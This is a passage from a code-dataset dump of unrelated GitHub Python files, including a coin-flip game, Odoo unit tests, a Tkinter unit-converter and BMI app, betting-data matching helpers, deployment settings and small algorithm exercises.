\n\n\n","repo_name":"BackupTheBerlios/pytestemb","sub_path":"PyTestEmb/test/script/script_utf8.py","file_name":"script_utf8.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28782977731","text":"import random\n\ndef restart():\n userDecision = input(\"Would you like to play again? Y/N: \")\n if userDecision == \"y\" or userDecision == \"Y\":\n main()\n elif userDecision == \"n\" or userDecision == \"N\":\n exit()\n else:\n restart()\n\ndef main():\n value = random.randint(1,2)\n if value == 1:\n print(\"Heads\")\n else:\n print(\"Tails\")\n restart()\nmain()","repo_name":"hypernovaradiation/Mini_Tools","sub_path":"Tools/flip_a_coin/flip_a_coin.py","file_name":"flip_a_coin.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"27173927338","text":"from odoo.tests.common import TransactionCase, tagged\nfrom odoo.exceptions import ValidationError\nfrom odoo.exceptions import AccessError\n\nimport random\n\n@tagged('standard', 'unit')\nclass TestMaterial(TransactionCase):\n def setUp(self, *args, **kwargs):\n super(TestMaterial, self).setUp(*args, **kwargs)\n self.model = self.env['material.material']\n\n # self.type = ['jeans', 'cotton', 'fabric']\n self.type = 'jeans'\n self.supplier = self.env['res.partner'].create({'name': 'Wood Corner'})\n\n def test_create_record(self):\n # Create a new record\n record = self.model.create({\n 'name': 'Test Record',\n 'code': '102901',\n 'material_type': self.type,\n # 'material_type': random.choice(self.type),\n 'buy_price': 102,\n 'res_partner': self.supplier.id\n })\n\n # Check that the record was created successfully\n self.assertTrue(record.id)\n self.assertEqual(record.name, 'Test Record')\n self.assertEqual(record.code, '102901')\n self.assertEqual(record.material_type, 'jeans')\n self.assertEqual(record.buy_price, '102')\n\n def test_create_record_with_negative_value(self):\n # Attempt to create a record with a negative value\n with self.assertRaises(ValidationError):\n self.model.create({\n 'name': 'Test Record',\n 'code': '102901',\n 'material_type': self.type,\n 'buy_price': 20,\n 'res_partner': self.supplier.id\n })\n\n def test_delete_record(self):\n record = self.model.create({\n 'name': 'Test Record',\n 'code': '102901',\n 'material_type': self.type,\n # 'material_type': random.choice(self.type),\n 'buy_price': 102,\n 'res_partner': self.supplier.id\n })\n\n # Check that the record was created successfully\n self.assertTrue(record.id)\n\n # Delete the record\n record.unlink()\n\n # Check that the record was deleted successfully\n with self.assertRaises(AccessError):\n self.model.browse(record.id)","repo_name":"aditwarman/odoo-test-kedatech","sub_path":"tests/test_material.py","file_name":"test_material.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33711544624","text":"from magma import *\nfrom ..spartan6.CLB import A0, A1\nfrom .fulladder import FullCarry\n\n__all__ = ['Adders', 'DefineAdders']\n\nAdderCache = {}\n\ndef _AdderName(n, k, expr1, expr2, cin, cout):\n expr1 = uint(expr1, 1< -> O[n], \n#\n# if cin is None, CIN is added to the circuit \n# if cin==0 or cin==1, cin is wired to CIN\n#\n# if cout: COUT is added to the circuit\n#\ndef DefineAdders(n, k, expr1, expr2, cin, cout, forkargs=[]):\n name = _AdderName(n, k, expr1, expr2, cin, cout)\n if name in AdderCache:\n return AdderCache[name]\n\n ArrayN = Array(n,Bit)\n args = []\n if k >= 1: args += [\"input I0\", Bit if 'I0' in forkargs else ArrayN]\n if k >= 2: args += [\"input I1\", Bit if 'I1' in forkargs else ArrayN]\n if k >= 3: args += [\"input I2\", Bit if 'I2' in forkargs else ArrayN]\n if k >= 4: args += [\"input I3\", Bit if 'I3' in forkargs else ArrayN]\n args += [\"output O\", ArrayN]\n if cin is None:\n args += ['input CIN', Bit]\n if cout:\n args += ['output COUT', Bit]\n\n Adders = DefineCircuit( name, *args )\n\n def f(x):\n return FullCarry(k, expr1, expr2)\n c = braid( col(f, n), foldargs={\"CIN\":\"COUT\"}, forkargs=forkargs)\n\n if k >= 1: wire(Adders.I0, c.I0)\n if k >= 2: wire(Adders.I1, c.I1)\n if k >= 3: wire(Adders.I2, c.I2)\n if k >= 4: wire(Adders.I3, c.I3)\n\n wire(c.O, Adders.O)\n if cin is not None:\n wire(cin, c.CIN)\n else:\n wire(Adders.CIN, c.CIN)\n if cout:\n wire(c.COUT, Adders.COUT)\n\n EndCircuit()\n\n AdderCache[name] = Adders\n return Adders\n\ndef Adders(n, k, expr1, expr2, cin, cout, forkargs=[]):\n return DefineAdders(n, k, expr1, expr2, cin, cout, forkargs=[])()\n","repo_name":"bbPeng98/DSE-framework-of-PRAD","sub_path":"MetaMapper/MetaMapper/src/mantle/mantle/xilinx/mantle6/mothball/adder.py","file_name":"adder.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18044344335","text":"import os\nimport re\nfrom pathlib import Path\nimport yaml\nfrom unidecode import unidecode\nfrom nltk.corpus import stopwords\nfrom googletrans import Translator\nimport json\nfrom matching_bookmakers import traiter_dictionnaire\n\n\ndef get_countries_names(root_directory):\n # Dictionnaire pour stocker les noms de pays par site\n countries_by_site = {}\n all_countries = set()\n # Parcourir tous les fichiers de compétition\n for site_name in [\"betclic\", \"parionsport\"]:\n site_directory = os.path.join(root_directory, site_name)\n if os.path.isdir(site_directory):\n countries = set()\n for subdir, _, files in os.walk(os.path.join(site_directory, \"countries\")):\n for file_name in files:\n if file_name.endswith(\".json\"):\n parts = file_name.split(\"@\")\n if len(parts) >= 2:\n country_name = parts[1].split(\"_\")[0]\n countries.add(country_name)\n all_countries.add(country_name)\n countries_by_site[site_name] = list(countries)\n return countries_by_site\n\n\ndef convert_country_name_to_english(country_name, src=\"fr\", target_lang=\"en\"):\n translator = Translator()\n translated = translator.translate(country_name, src=src, dest=target_lang)\n return translated.text\n\n\n# Fonction pour normaliser un nom de pays\ndef normalize_country(country_name):\n stop_words = set(stopwords.words(\"french\") + stopwords.words(\"english\"))\n normalized = unidecode(country_name.lower())\n words = re.findall(r\"\\w+\", normalized)\n words = [word for word in words if word not in stop_words]\n return \" \".join(words)\n\n\ndef load_config_file(filename: str) -> dict[str, str]:\n \"\"\"Load a YAML config file.\n Args:\n filename (str): The name of the file to load.\n Returns:\n dict: The configuration data.\n \"\"\"\n path = Path(__file__).parent.parent / \"config\" / filename\n try:\n with open(f\"{path}\", \"r\") as file:\n config_data = yaml.safe_load(file)\n return config_data\n except FileNotFoundError:\n raise FileNotFoundError(f\"The file {filename} was not found.\")\n\n\ndef match_countries_by_site(root_dir):\n country_site_files = {}\n\n site_dirs = [\n d for d in os.listdir(root_dir) if os.path.isdir(os.path.join(root_dir, d))\n ]\n\n for site_dir in site_dirs:\n site_path = os.path.join(root_dir, site_dir)\n countries_dir = os.path.join(site_path, \"countries\")\n\n if not os.path.exists(countries_dir):\n continue\n\n for country_file in os.listdir(countries_dir):\n if country_file.endswith(\".json\"):\n country_name = country_file.split(\"@\")[1].split(\"_\")[0]\n country_name_normalized = normalize_country(country_name)\n country_file_path = os.path.join(countries_dir, country_file)\n\n if country_name_normalized in country_site_files:\n site_data = country_site_files[country_name_normalized]\n if site_dir in site_data:\n site_data[site_dir].append(country_file_path)\n else:\n site_data[site_dir] = [country_file_path]\n else:\n country_site_files[country_name_normalized] = {\n site_dir: [country_file_path]\n }\n # Tri des fichiers par date dans l'ordre décroissant pour chaque site\n for country, site_data in country_site_files.items():\n for site, files in site_data.items():\n files.sort(key=lambda f: os.path.getmtime(f), reverse=True)\n\n return country_site_files\n\n\ndef open_json_file(file_path):\n with open(file_path, \"r\") as file:\n data = json.load(file)\n return data\n\n\ndef get_matched_countries(root_directory, site_number=2):\n country_site_files = match_countries_by_site(root_directory)\n matched_countries = {}\n not_matched_countries = {}\n for country in country_site_files.keys():\n if len(country_site_files[country].keys()) >= site_number:\n matched_countries[country] = country_site_files[country]\n else:\n not_matched_countries[country] = country_site_files[country]\n return matched_countries, not_matched_countries\n\n\ndef get_data_from_matched_countries_per_site(matched_countries, not_matched_countries):\n union_matched_not_matched = {**matched_countries, **not_matched_countries}\n all_data = []\n for country, site_data in union_matched_not_matched.items():\n for site, files in site_data.items():\n for file in files:\n country_data = open_json_file(file)\n for competition_data in country_data[\"competitions\"]:\n competition_data[\"Bookmaker\"] = site\n if len(competition_data[\"matches\"]) < 1:\n continue\n all_data.append(competition_data)\n all_data = [traiter_dictionnaire(data) for data in all_data]\n return all_data\n","repo_name":"SebastienIbrahim/scraper_surebet_sport_bets","sub_path":"find_surebet/countries_matching.py","file_name":"countries_matching.py","file_ext":"py","file_size_in_byte":5112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39426296374","text":"from tkinter import *\r\nroot = Tk()\r\nroot.title(\"Converters\")\r\nroot.configure(bg=\"#373737\")\r\nroot.geometry(\"560x610\")\r\nroot.resizable(0, 0)\r\n\r\nwin = LabelFrame(root, text=\"\", bg='#373737', width=540, height=520, fg=\"orange\", padx=34,\r\n pady=20)\r\n\r\nwin.grid(row=0, column=0, padx=20, pady=20)\r\n\r\ndef home():\r\n global homebtn\r\n\r\n for widget in win.winfo_children():\r\n widget.destroy()\r\n win.config(text=\"Converters App By Ezhil\")\r\n alal = Label(win, bg=\"#373737\", fg=\"light green\", font=('Helvetica', 10, 'bold'),\r\n text=\" \\n Click any button for conversion \",\r\n justify=\"left\").grid(row=0, column=0)\r\n kmmbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\",\r\n text=\"Kilometer to Meter\", command=kmmpage)\r\n kmmbtn.grid(row=1, column=0, padx=20, pady=15)\r\n mkmbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\",\r\n text=\"Meter to Kilometer\", command=mkmpage)\r\n mkmbtn.grid(row=2, column=0, padx=20, pady=15)\r\n ftcbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=22, pady=5, fg=\"#00C0FF\",\r\n text=\"Fahrenheit to Celcius\", command=fahcel)\r\n ftcbtn.grid(row=3, column=0, padx=20, pady=15)\r\n ctfbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=22, pady=5, fg=\"#00C0FF\",\r\n text=\"Celcius to Fahrenheit\", command=celfah)\r\n ctfbtn.grid(row=4, column=0, padx=20, pady=15)\r\n milekmbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\",\r\n text=\"Miles to Kilometers\", command=milekmpage)\r\n milekmbtn.grid(row=5, column=0, padx=20, pady=15)\r\n kmmilebtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\",\r\n text=\"Kilometers to Miles\", command=kmmilepage)\r\n kmmilebtn.grid(row=6, column=0, padx=20, pady=15)\r\n bmibtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\",\r\n text=\"Calculate your BMI\", command=bmipage)\r\n bmibtn.grid(row=7, column=0, padx=20, pady=15)\r\ndef hombtn():\r\n homebtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\", text=\"Home\",\r\n command=home).grid()\r\ndef kmmpage():\r\n for widget in win.winfo_children():\r\n widget.destroy()\r\n win.config(text=\"Convert Kilometers to Meters\")\r\n alal = Label(win, bg=\"#373737\", fg=\"light blue\", font=('Helvetica', 10, 'bold'),\r\n text=\" \"\r\n \"\\n Enter KM value \",\r\n justify=\"left\").grid(row=0, column=0)\r\n\r\n Km = Entry(win, width=15, font=('arial', 18, 'bold'), borderwidth=5, justify='right', bg=\"#373737\",\r\n fg=\"white\")\r\n\r\n Km.grid(row=1, column=0)\r\n label = Label(win, text=\"\", bg=\"#373737\", fg=\"orange\", font=('arial', 18, 'bold'))\r\n label.grid(row=2, column=0)\r\n\r\n def kmmfun():\r\n m = float(Km.get()) * 1000\r\n label.config(text=str(Km.get()) + \"KM = \" + str(round(m, 2)) + \"meters\")\r\n\r\n kmmconbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\", text=\"Convert\",\r\n command=kmmfun)\r\n kmmconbtn.grid(row=3, column=0, padx=20, pady=15)\r\n hombtn()\r\ndef mkmpage():\r\n for widget in win.winfo_children():\r\n widget.destroy()\r\n win.config(text=\"Convert Meters to Kilometers\")\r\n alal = Label(win, bg=\"#373737\", fg=\"light blue\", font=('Helvetica', 10, 'bold'),\r\n text=\" \"\r\n \"\\n Enter Meters value \",\r\n justify=\"left\").grid(row=0, column=0)\r\n\r\n meters = Entry(win, width=15, font=('arial', 18, 'bold'), borderwidth=5, justify='right', bg=\"#373737\",\r\n fg=\"white\")\r\n\r\n meters.grid()\r\n label = Label(win, text=\"\", bg=\"#373737\", fg=\"orange\", font=('arial', 18, 'bold'))\r\n label.grid()\r\n\r\n def mkmfun():\r\n kilom = float(meters.get()) / 1000\r\n label.config(text=str(meters.get()) + \" meters = \" + str(round(kilom, 2)) + \" KM\")\r\n\r\n mkmconbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\", text=\"Convert\",\r\n command=mkmfun)\r\n mkmconbtn.grid(padx=20, pady=15)\r\n hombtn()\r\ndef fahcel():\r\n for widget in win.winfo_children():\r\n widget.destroy()\r\n win.config(text=\"Convert Fahrenheit to Celsius\")\r\n alal = Label(win, bg=\"#373737\", fg=\"light blue\", font=('Helvetica', 10, 'bold'),\r\n text=\" \"\r\n \"\\n Enter Fahrenheit value \",\r\n justify=\"left\").grid(row=0, column=0)\r\n\r\n fah = Entry(win, width=15, font=('arial', 18, 'bold'), borderwidth=5, justify='right', bg=\"#373737\",\r\n fg=\"white\")\r\n fah.grid()\r\n label = Label(win, text=\"\", bg=\"#373737\", fg=\"orange\", font=('arial', 18, 'bold'))\r\n label.grid()\r\n\r\n def fahceldef():\r\n celcius = (float(fah.get()) - 32) * 5 / 9\r\n label.config(text=str(fah.get()) + \" fahrenheit = \" + str(round(celcius, 2)) + \" celcius\")\r\n\r\n ftcconbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\", text=\"Convert\",\r\n command=fahceldef)\r\n ftcconbtn.grid(padx=20, pady=15)\r\n hombtn()\r\ndef celfah():\r\n for widget in win.winfo_children():\r\n widget.destroy()\r\n win.config(text=\"Convert Celcius to Fahrenheit\")\r\n alal = Label(win, bg=\"#373737\", fg=\"light blue\", font=('Helvetica', 10, 'bold'),\r\n text=\" \"\r\n \"\\n Enter Celcius value \",\r\n justify=\"left\").grid(row=0, column=0)\r\n\r\n cel = Entry(win, width=15, font=('arial', 18, 'bold'), borderwidth=5, justify='right', bg=\"#373737\",\r\n fg=\"white\")\r\n\r\n cel.grid()\r\n label = Label(win, text=\"\", bg=\"#373737\", fg=\"orange\", font=('arial', 18, 'bold'))\r\n label.grid()\r\n\r\n def celfahdef():\r\n fahreneit = (float(cel.get()) * 9 // 5) + 32\r\n label.config(text=str(cel.get()) + \" celcius = \" + str(round(fahreneit, 2)) + \" fahrenheit\")\r\n\r\n ctfconbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\", text=\"Convert\",\r\n command=celfahdef)\r\n ctfconbtn.grid(padx=20, pady=15)\r\n hombtn()\r\ndef milekmpage():\r\n for widget in win.winfo_children():\r\n widget.destroy()\r\n win.config(text=\"Convert Miles to Kilometers\")\r\n alal = Label(win, bg=\"#373737\", fg=\"light blue\", font=('Helvetica', 10, 'bold'),\r\n text=\" \"\r\n \"\\n Enter Miles value \",\r\n justify=\"left\").grid(row=0, column=0)\r\n\r\n miles = Entry(win, width=15, font=('arial', 18, 'bold'), borderwidth=5, justify='right', bg=\"#373737\",\r\n fg=\"white\")\r\n miles.grid()\r\n label = Label(win, text=\"\", bg=\"#373737\", fg=\"orange\", font=('arial', 18, 'bold'))\r\n label.grid()\r\n\r\n def milekmfun():\r\n kilo = float(miles.get()) * 1.6\r\n label.config(text=str(miles.get()) + \" miles = \" + str(round(kilo, 2)) + \" KM\")\r\n\r\n milekmconbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\",\r\n text=\"Convert\", command=milekmfun)\r\n milekmconbtn.grid(padx=20, pady=15)\r\n hombtn()\r\ndef kmmilepage():\r\n for widget in win.winfo_children():\r\n widget.destroy()\r\n win.config(text=\"Convert Kilometers to Meters\")\r\n alal = Label(win, bg=\"#373737\", fg=\"light blue\", font=('Helvetica', 10, 'bold'),\r\n text=\" \"\r\n \"\\n Enter KM value \",\r\n justify=\"left\").grid(row=0, column=0)\r\n\r\n kilometer = Entry(win, width=15, font=('arial', 18, 'bold'), borderwidth=5, justify='right', bg=\"#373737\",\r\n fg=\"white\")\r\n\r\n kilometer.grid()\r\n label = Label(win, text=\"\", bg=\"#373737\", fg=\"orange\", font=('arial', 18, 'bold'))\r\n label.grid()\r\n\r\n def kmmilefun():\r\n mile = float(kilometer.get()) / 1.6\r\n label.config(text=str(kilometer.get()) + \" KM = \" + str(mile) + \"Miles\")\r\n kmmileconbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\",\r\n text=\"Convert\", command=kmmilefun)\r\n kmmileconbtn.grid(padx=20, pady=15)\r\n homebtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\", text=\"Home\",\r\n command=home).grid(row=4,column=0,columnspan=4)\r\ndef bmipage():\r\n for widget in win.winfo_children():\r\n widget.destroy()\r\n win.config(text=\"Calculate your BMI\")\r\n alal = Label(win, bg=\"#373737\", fg=\"light blue\", font=('Helvetica', 10, 'bold'),\r\n text=\" \"\r\n \"\\n Enter your weight in KGs \",\r\n justify=\"left\").grid()\r\n\r\n weight = Entry(win, width=15, font=('arial', 18, 'bold'), borderwidth=5, justify='right',\r\n bg=\"#373737\",\r\n fg=\"white\")\r\n weight.grid(pady=20)\r\n aeal = Label(win, bg=\"#373737\", fg=\"light blue\", font=('Helvetica', 10, 'bold'),\r\n text=\" \"\r\n \"\\n Enter your height in CMs \",\r\n justify=\"left\").grid()\r\n\r\n height = Entry(win, width=15, font=('arial', 18, 'bold'), borderwidth=5, justify='right',\r\n bg=\"#373737\",\r\n fg=\"white\")\r\n height.grid(pady=20)\r\n label = Label(win, text=\"\", bg=\"#373737\", fg=\"orange\", font=('arial', 18, 'bold'))\r\n label.grid()\r\n\r\n def bmifun():\r\n m = int(height.get())/100\r\n bmi = int(weight.get()) / (m*m)\r\n if bmi < 18.5:\r\n label.config(text=\"Your BMI is \" + str(round(bmi, 2)) + \"\\nYou are underweight\")\r\n if bmi > 18.5 and bmi < 24.9:\r\n label.config(text=\"Your BMI is \" + str(round(bmi, 2)) + \"\\nYou are in normal weight\")\r\n if bmi > 25 and bmi < 29.9:\r\n label.config(text=\"Your BMI is \" + str(round(bmi, 2)) + \"\\nYou are overweight\")\r\n if bmi > 30:\r\n label.config(text=\"Your BMI is \" + str(round(bmi, 2)) + \"\\nYou are obese\")\r\n bmiconbtn = Button(win, font=('Helvetica', 10, 'bold'), bg=\"#373737\", padx=30, pady=5, fg=\"#00C0FF\",\r\n text=\"Convert\", command=bmifun)\r\n bmiconbtn.grid(padx=20, pady=15)\r\n hombtn()\r\n\r\nhome()\r\n\r\nroot.mainloop()\r\n","repo_name":"ezhil1210/TicTacToe-TKinter-","sub_path":"ddddd.py","file_name":"ddddd.py","file_ext":"py","file_size_in_byte":11525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6235704396","text":"from .tree import Tree, Node\n\nfrom .load_data.datastructures import CritEdge, CritFace, MorseComplex\n\ndef potential_cells(p: int, \n cell, #: CritEdge | CritFace \n vert_dict: dict, \n edge_dict: dict):\n \"\"\"! @brief Gives the faces(vert/edges) of a cell needed for finding a \n path from critical cell to critical cell.\n \n @param p Dimension of the cell we are looking at (1 if edge, 2 for face).\n @param cell The cell we want to get potential faces of.\n @param vert_dict Dictionary containing all vertices.\n @param edges_dict Dictionary containing all edges.\n \n @return pot_alphas Returns a set of possible next cells.\n \"\"\"\n pot_alphas = set()\n if p == 1:\n for ind in cell.indices:\n pot_alphas.add(ind)\n else:\n for ind in cell.indices:\n for edge_ind in vert_dict[ind].star[\"E\"]:\n if edge_dict[edge_ind].indices.issubset(cell.indices):\n pot_alphas.add(edge_ind)\n \n return pot_alphas\n\ndef extract_morse_complex(vert_dict: dict, \n edge_dict: dict, \n face_dict: dict, \n V12: dict, \n V23: dict, \n C: dict):\n \"\"\"! @brief The function described in Robins et al. 2011, that \n returns a Morse Complex.\n \n @details Loops over all critical edges and faces and follows \n the paths indicated by the gradient field that start at each \n critical cell. This gives the adjacencies of the cells and their \n paths between each other, giving us the Morse Complex as well \n as the Separatrices and thereby represents the surface in a \n reduced skelton.\n \n @param vert_dict The dictionary containing all vertices.\n @param edge_dict The dictionary containing all edges.\n @param face_dict The dictionary containing all faces.\n @param C The dictionary containing all critical vertices, edges and faces.\n @param V12 The dictionary containing all pairings between edges and vertices.\n @param V23 The dictionary containing all pairings between faces and edges.\n \n @return initial_complex The initial (unreduced) Morse complex.\n \"\"\"\n initial_complex = MorseComplex()\n \n for C_index in C[0]:\n initial_complex.add_vertex(vert_dict[C_index])\n for p in (1,2):\n for C_index in C[p]:\n if p == 1:\n crit_cell = CritEdge(edge_dict[C_index])\n else:\n crit_cell = CritFace(face_dict[C_index])\n\n paths_tree = Tree(C_index) ## contains Qbfs list for breadth first search\n pot_alphas = potential_cells(p, crit_cell, vert_dict, edge_dict)\n\n for alpha in pot_alphas:\n if (alpha in V12.keys() and p==1) or (alpha in V23.keys() and p==2):\n child_node = Node(alpha,\"root\")\n paths_tree.Qbfs.append(tuple((alpha, child_node)))\n paths_tree.addNode(child_node)\n elif alpha in C[p-1]:\n child_node = Node(alpha, \"root\", end_flag=True)\n # add to facelists:\n # p=1: connect min and saddle, min should already exist in complex\n # p=2: connect max and saddle, saddle should already exist in complex\n if p == 1:\n initial_complex.CritVertices[alpha].connected_saddles.append(C_index)\n crit_cell.connected_minima.append(alpha)\n else:\n initial_complex.CritEdges[alpha].connected_maxima.append(C_index)\n crit_cell.connected_saddles.append(alpha)\n \n # add to Paths\n paths_tree.addNode(child_node)\n paths_tree.addEnd(child_node)\n\n while len(paths_tree.Qbfs) != 0:\n alpha, parent_node = paths_tree.Qbfs.pop(-1)\n if p == 1:\n beta = V12[alpha]\n else:\n beta = V23[alpha]\n \n child_node = Node(beta, parent_node)\n parent_node.addNode(child_node)\n if p == 1:\n pot_deltas = potential_cells(p, edge_dict[beta], vert_dict, edge_dict)\n else:\n pot_deltas = potential_cells(p, face_dict[beta], vert_dict, edge_dict)\n \n pot_deltas.discard(alpha)\n\n for delta in pot_deltas:\n if delta in C[p-1]:\n next_child_node = Node(delta, child_node, end_flag=True)\n # add to facelists:\n # p=1: connect min and saddle, min should already exist in complex\n # p=2: connect max and saddle, saddle should already exist in complex\n if p == 1:\n initial_complex.CritVertices[delta].connected_saddles.append(C_index)\n crit_cell.connected_minima.append(delta)\n else:\n initial_complex.CritEdges[delta].connected_maxima.append(C_index)\n crit_cell.connected_saddles.append(delta)\n \n # add to Paths\n child_node.addNode(next_child_node)\n paths_tree.addEnd(next_child_node)\n\n elif (delta in V12.keys() and p==1) or (delta in V23.keys() and p==2):\n next_child_node = Node(delta, child_node)\n paths_tree.Qbfs.append(tuple((delta, next_child_node)))\n\n # find paths from end nodes to start C_index\n for itnode in paths_tree.pathends:\n path = []\n while itnode.parent != \"root\":\n path.append(itnode.data)\n itnode = itnode.parent\n # still need to add the node with parent \"root\" and the root node itself, so:\n path.append(itnode.data)\n path.append(C_index)\n face = path[0]\n if face not in crit_cell.paths.keys():\n crit_cell.paths[face] = path[::-1]\n else:\n crit_cell.paths[face] = [crit_cell.paths[face], path[::-1]]\n \n if p == 1:\n initial_complex.CritEdges[C_index] = crit_cell\n else:\n initial_complex.CritFaces[C_index] = crit_cell \n return initial_complex","repo_name":"JanPhilipp-Bullenkamp/MorseMesh","sub_path":"src/Algorithms/extract_morse_complex.py","file_name":"extract_morse_complex.py","file_ext":"py","file_size_in_byte":6667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"24867707021","text":"'''\r\nThere are ‘n’ houses built in a line. A thief wants to steal maximum possible money from these houses.\r\n The only restriction the thief has is that he can’t steal from two consecutive houses, as that would alert\r\n the security system. How should the thief maximize his stealing?\r\n'''\r\n\r\ndef find_max_steal_btmup(wealth):\r\n # Time: O(N), Space: O(N)\r\n if not wealth:\r\n return 0\r\n N = len(wealth)\r\n dp = [0 for _ in range(N+1)]\r\n dp[:2] = [0, wealth[0]]\r\n\r\n for idx in range(1, N):\r\n dp[idx+1] = max(wealth[idx]+dp[idx-1], dp[idx])\r\n return dp[N]\r\n\r\n\r\nif __name__ == '__main__':\r\n print(find_max_steal_btmup([2, 5, 1, 3, 6, 2, 4]))\r\n print(find_max_steal_btmup([2, 10, 14, 8, 1]))\r\n","repo_name":"royadityak94/InterviewPrep","sub_path":"Grokking/DP/pattern_3/max_thief_steal.py","file_name":"max_thief_steal.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33749376865","text":"from os import environ, getcwd\nfrom os.path import join\n\nfrom fabric.api import env\n\nfrom dotenv import load_dotenv\n\nenv.env_file = environ.get('ENV_FILE', './config/settings/.env')\n\n# Load .env file\ndotenv_path = join(getcwd(), env.env_file)\nload_dotenv(dotenv_path)\n\n# Forward SSH agent\nenv.forward_agent = True\n\nenv.python_version = environ.get('APP_PYTHON_VERSION')\n\nenv.app_name = environ.get('APP_NAME')\nenv.app_dir = '{}/{}'.format(environ.get('INSTALL_DIR'), environ.get('APP_NAME'))\nenv.repo_url = environ.get('APP_REPO_URL')\n\nenv.supervisor_services = environ.get('SUPERVISOR_SERVICES', '').split(',')\nenv.upstart_services = environ.get('UPSTART_SERVICES', '').split(',')\nenv.restart_after_deploy = environ.get('RESTART_AFTER_DEPLOY', False)\n","repo_name":"streema/deployer","sub_path":"deployer/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"19150378179","text":"# !/usr/bin/python3\n# -*- coding: utf8 -*-\n# author: moyichen\n# date: 2021/3/25\nfrom AndroidDevice import AndroidDevice\nfrom utils import safe_make_dirs, log_exit, print_table, log_warning\n\n\nclass Hookee(object):\n def __init__(self, app, debug, device: AndroidDevice):\n self.name = app\n self.debug = debug\n self.device = device\n\n info = self.device.get_app_info(app)\n if not info or 'version' not in info:\n apps = self.device.list_app()\n tb = print_table(apps, ['package'])\n log_warning('The following apps are available:')\n log_warning(tb.get_string())\n log_exit(\"make sure you have installed {}\".format(app))\n\n self.version = info['version']\n self.arch = self.device.get_arch()\n self.symbol_dir = \"./output/{}/{}/symbol\".format(self.name, self.version)\n\n @property\n def symbol_dir(self):\n return self._symbol_dir\n\n @symbol_dir.setter\n def symbol_dir(self, path):\n self._symbol_dir = path\n safe_make_dirs(self._symbol_dir)\n","repo_name":"moyichen/mhook","sub_path":"Hookee.py","file_name":"Hookee.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28905345832","text":"\"\"\"\nCreated on 6/19/2016 by Ben\n\n\n\"\"\"\n\n# Number of test cases, T\n# 1 <= T <= 100\ndef constrain_t():\n t = int(input().strip())\n if t > 100 or t < 1:\n constrain_t()\n return t\n\nT = constrain_t()\n\ni = 0\narr = []\nwhile i < T:\n # Number of blocks, N\n N = int(input().strip())\n # do stuff\n if N % 2 == 0:\n winner = \"Kitty\"\n else:\n winner = \"Katty\"\n i += 1\n # Put those sums into the list for stdout\n arr.append(winner)\n\n# Output each sum of even fib numbers on a new line\nfor j in arr:\n print(j)\n","repo_name":"benuklove/PacktPythonPracticePy35","sub_path":"hr_kitkat.py","file_name":"hr_kitkat.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12729076646","text":"import unittest as unt\nimport pandas as pd\nimport os\nimport shutil\n\nfrom chronoclust.app import run\n\n# note change this when refactoring filename\ncurrent_script_dir = os.path.realpath(__file__).split('/{}'.format(os.path.basename(__file__)))[0]\nout_dir = '{}/test_files/output'.format(current_script_dir)\n\n\nclass IntegrationTestNoCluster(unt.TestCase):\n @classmethod\n def setUpClass(cls):\n \"\"\"\n Run chronoclust\n\n Returns\n -------\n None\n \"\"\"\n\n data = ['{codedir}/test_files/dataset/subset_dataset/synthetic_d{t}.csv.gz'.format(\n codedir=current_script_dir,\n t=day\n ) for day in range(5)]\n\n config = {\n \"beta\": 1.0,\n \"delta\": 0.05,\n \"epsilon\": 0.03,\n \"lambda\": 2,\n \"k\": 4,\n \"mu\": 1.0,\n \"pi\": 3,\n \"omicron\": 0.000000435,\n \"upsilon\": 6.5\n }\n\n run(data=data, output_directory=out_dir, param_beta=config['beta'], param_delta=config['delta'],\n 